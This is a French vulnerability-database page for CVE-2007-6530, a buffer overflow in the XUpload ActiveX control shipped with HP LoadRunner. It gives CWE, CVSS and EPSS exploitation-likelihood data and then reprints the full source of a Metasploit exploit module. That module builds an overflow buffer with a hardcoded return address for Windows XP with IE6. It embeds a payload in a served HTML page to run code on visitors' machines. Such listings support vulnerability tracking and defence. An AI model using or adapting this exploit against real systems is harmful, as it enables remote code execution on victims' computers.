CPE, qui signifie Common Platform Enumeration, est un système normalisé de dénomination du matériel, des logiciels et des systèmes d'exploitation. CPE fournit un schéma de dénomination structuré pour identifier et classer de manière unique les systèmes informatiques, les plates-formes et les progiciels sur la base de certains attributs tels que le fournisseur, le nom du produit, la version, la mise à jour, l'édition et la langue.
CWE, ou Common Weakness Enumeration, est une liste complète et une catégorisation des faiblesses et des vulnérabilités des logiciels. Elle sert de langage commun pour décrire les faiblesses de sécurité des logiciels au niveau de l'architecture, de la conception, du code ou de la mise en œuvre, qui peuvent entraîner des vulnérabilités.
CAPEC, qui signifie Common Attack Pattern Enumeration and Classification (énumération et classification des schémas d'attaque communs), est une ressource complète, accessible au public, qui documente les schémas d'attaque communs utilisés par les adversaires dans les cyberattaques. Cette base de connaissances vise à comprendre et à articuler les vulnérabilités communes et les méthodes utilisées par les attaquants pour les exploiter.
Services & Prix
Aides & Infos
Recherche de CVE id, CWE id, CAPEC id, vendeur ou mots clés dans les CVE
Buffer overflow in the XUpload.ocx ActiveX control in Persits Software XUpload 2.1.0.1, and probably other versions before 3.0, as used by HP Mercury LoadRunner and Groove Virtual Office, allows remote attackers to execute arbitrary code via a long argument to the AddFolder function.
Improper Restriction of Operations within the Bounds of a Memory Buffer The product performs operations on a memory buffer, but it reads from or writes to a memory location outside the buffer's intended boundary. This may result in read or write operations on unexpected memory locations that could be linked to other variables, data structures, or internal program data.
Métriques
Métriques
Score
Gravité
CVSS Vecteur
Source
V2
9.3
AV:N/AC:M/Au:N/C:C/I:C/A:C
nvd@nist.gov
EPSS
EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.
Score EPSS
Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2022-02-06
–
–
87.25%
–
–
2023-03-12
–
–
–
92.82%
–
2023-03-26
–
–
–
92.04%
–
2023-04-30
–
–
–
90.75%
–
2023-06-04
–
–
–
88.78%
–
2023-08-13
–
–
–
87.9%
–
2024-02-11
–
–
–
87.9%
–
2024-03-17
–
–
–
89.82%
–
2024-06-02
–
–
–
90.76%
–
2024-08-25
–
–
–
91.98%
–
2024-09-22
–
–
–
93.29%
–
2024-11-03
–
–
–
95.12%
–
2024-12-22
–
–
–
94.97%
–
2025-01-19
–
–
–
95.23%
–
2025-01-19
–
–
–
95.23%
–
2025-03-18
–
–
–
–
65.75%
2025-03-18
–
–
–
–
65.75,%
Percentile EPSS
Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
Date de publication : 2010-05-08 22h00 +00:00 Auteur : Metasploit EDB Vérifié : Yes
##
# $Id: hp_loadrunner_addfolder.rb 9262 2010-05-09 17:45:00Z jduck $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = GoodRanking
include Msf::Exploit::Remote::HttpServer::HTML
def initialize(info = {})
super(update_info(info,
'Name' => 'HP LoadRunner 9.0 ActiveX AddFolder Buffer Overflow',
'Description' => %q{
This module exploits a stack buffer overflow in Persits Software Inc's
XUpload ActiveX control(version 2.1.0.1) thats included in HP LoadRunner 9.0.
By passing an overly long string to the AddFolder method, an attacker may be
able to execute arbitrary code.
},
'License' => MSF_LICENSE,
'Author' => [ 'MC' ],
'Version' => '$Revision: 9262 $',
'References' =>
[
[ 'CVE', '2007-6530'],
[ 'OSVDB', '39901'],
[ 'BID', '27025' ],
[ 'URL', 'http://lists.grok.org.uk/pipermail/full-disclosure/2007-December/059296.html' ],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload' =>
{
'Space' => 800,
'BadChars' => "\x00\x09\x0a\x0d'\\",
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows XP SP2 Pro English / IE6SP0-SP2', { 'Offset' => 1388, 'Ret' => 0x323ad95f } ], # PocoNet.dll
],
'DisclosureDate' => 'Dec 25 2007',
'DefaultTarget' => 0))
end
def autofilter
false
end
def check_dependencies
use_zlib
end
def on_request_uri(cli, request)
# Re-generate the payload
return if ((p = regenerate_payload(cli)) == nil)
# Randomize some things
vname = rand_text_alpha(rand(100) + 1)
strname = rand_text_alpha(rand(100) + 1)
# Set the exploit buffer
sploit = rand_text_alpha(target['Offset']) + [target.ret].pack('V')
sploit << p.encoded + rand_text_alpha(1024 - p.encoded.length)
# Build out the message
content = %Q|<html>
<object classid='clsid:E87F6C8E-16C0-11D3-BEF7-009027438003' id='#{vname}'></object>
<script language='javascript'>
#{strname} = new String('#{sploit}')
#{vname}.AddFolder(#{strname});
</script>
</html>
|
print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")
# Transmit the response to the client
send_response_html(cli, content)
# Handle the payload
handler(cli)
end
end